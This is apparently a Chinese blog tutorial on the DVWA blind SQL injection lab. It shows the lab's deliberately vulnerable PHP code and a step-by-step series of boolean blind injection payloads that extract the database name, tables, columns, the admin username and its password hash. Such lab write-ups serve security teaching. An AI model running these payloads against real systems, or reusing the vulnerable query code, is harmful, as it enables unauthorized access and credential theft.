DVWA—sql注入-盲注SQL Injection (Blind)

DVWA—sql注入-盲注(SQL Injection (Blind))

原理:

盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。盲注分为三类:基于布尔SQL盲注基于时间的SQL盲注基于报错的SQL盲注

low

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Get input
	$id = $_GET[ 'id' ];
	$exists = false;

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

			$exists = false;
			if ($result !== false) {
				try {
					$exists = (mysqli_num_rows( $result ) > 0);
				} catch(Exception $e) {
					$exists = false;
				}
			}
			((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
			break;
		case SQLITE:
			global $sqlite_db_connection;

			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}

			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	} else {
		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

}

?>

可以发现Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞

1.判断是否存在注入,注入类型

输入1,显示User ID exists in the database. (显示存在)

再输入 1’ and 1=1 # ,输出 exists

继续输入 1’ and 1=2 #,显示missing。

User ID is MISSING from the database. (显示不存在)

说明存在字符型的盲注。

2.猜数据库名

1’ and length(database())=1 #

1’ and length(database())=2 #

1’ and length(database())=3 #

先猜数据库名长度,看到哪个数字显示User ID exists in the database,就说明数据库名长度为多少。

1’ and length(database())=1 #,显示不存在,继续

1’ and length(database())=2 #,显示不存在,继续

1’ and length(database())=3 #,显示不存在,继续

1’ and length(database())=4 #,显示存在,说明数据库名长度为4。

已知数据库名长度,继续猜解数据库名,这里会用到二分法,有点类似枚举法。

1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)

1’ and ascii(substr(databse(),1,1))<101 #,显示存在,说明数据库名的第一个字符的ascii值小于101(小写字母e的ascii值)

1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100,(小写字母d的ascii的值)

1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值大于100,(小写字母d的ascii的值)

由此推断数据库名称的第一个字母是d,同理推断下去,可知数据库名为dvwa。

3.猜解数据库中的表名

先猜表的数量

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 #

显示不存在,说明数据表的数量不为1

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=2 #

显示存在,说明存在两个表。

接着猜解表名长度

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #,输出MISSING,显示不存在,说明长度值小于10

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #,显示存在,那么说明这个长度值在5-10之间,继续往下猜解。

然后在5,6,7,8,9里挨个去试,我这里就不截图了

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,那么说第一个表名长度为9。

然后利用二分法继续猜解第一张表的9个字母都是啥

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

直到—— 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #,对应的字母为g。

同样的方法继续,分别得到其它的8个字母,为u、e、s、t、b、o、o、k,合起来为guestbook。

这是第一张表,第二张表也是如此

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97 #

一直到猜解结束,可以得出第二张表名为users。

4.猜解表中的字段名

已知两张表,guestbook和users,我们直奔users表,信息重要。

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>10 #

显示不存在,说明表中的字段数量小于10。

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)>5 #

那么说这个值在5-10之间,5,6,7,8,9挨个去试

最后

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

那说明users表存在8个字段信息。

【猜想】数据库中可能保存的字段名称
用户名:username/user_name/uname/u_name/user/name/…
密码:password/pass_word/pwd/pass/…

所以接下来我们要猜解账户和密码对应的字段是什么

1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘user’)=1 #,输出exists

1’ and (select count(*) from information_schema.columns where table_schema=database() and table_name=‘users’ and column_name=‘password’)=1 #,输出exists

所以证明了 users表中有 user和password。

5.猜表中的字段值

同样使用二分法来做,直接写最后一步了:

用户名的字段值:1’ and length(substr((select user from users limit 0,1),1))=5 #,输出exists

——说明user字段中第1个字段值的字符长度=5。

密码的字段值:1’ and length(substr((select password from users limit 0,1),1))=32 #,

——说明password字段中第1个字段值的字符长度=32(基本上这么长的密码位数可能是用md5的加密方式保存的)

然后再使用二分法猜解user字段的值:(用户名)

第一个字符是a

1’ and ascii(substr((select user from users limit 0,1),2,1))=100 #(第二个字符)

第一个字符是d

… …

最终得到结果是admin。

猜解password字段的值:(密码)

1’ and ascii(substr((select password from users limit 0,1),1,1))>100 #(第一个字符)

… …

最后得到的是32位长的md5加密的字符串,解密就可以得到密码password。

medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$id = $_POST[ 'id' ];
	$exists = false;

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

			$exists = false;
			if ($result !== false) {
				try {
					$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
				} catch(Exception $e) {
					$exists = false;
				}
			}
			
			break;
		case SQLITE:
			global $sqlite_db_connection;
			
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}
			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	} else {
		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}
}

?>

Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

这一幕是否似曾相识,其实sql注入的medium级别也是这样的,原理基本相同,攻击思路也一样,利用burpsuite工具。

只不过,这次不采用布尔盲注法,采用延时盲注法,但都是二分法进行猜测。

high

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
	// Get input
	$id = $_COOKIE[ 'id' ];
	$exists = false;

	switch ($_DVWA['SQLI_DB']) {
		case MYSQL:
			// Check database
			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

			$exists = false;
			if ($result !== false) {
				// Get results
				try {
					$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
				} catch(Exception $e) {
					$exists = false;
				}
			}

			((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
			break;
		case SQLITE:
			global $sqlite_db_connection;

			$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
			try {
				$results = $sqlite_db_connection->query($query);
				$row = $results->fetchArray();
				$exists = $row !== false;
			} catch(Exception $e) {
				$exists = false;
			}

			break;
	}

	if ($exists) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Might sleep a random amount
		if( rand( 0, 5 ) == 3 ) {
			sleep( rand( 2, 4 ) );
		}

		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}
}

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。真的跟前面的sql注入一样的套路啊,记得利用#进行注释。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

瑶~why

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值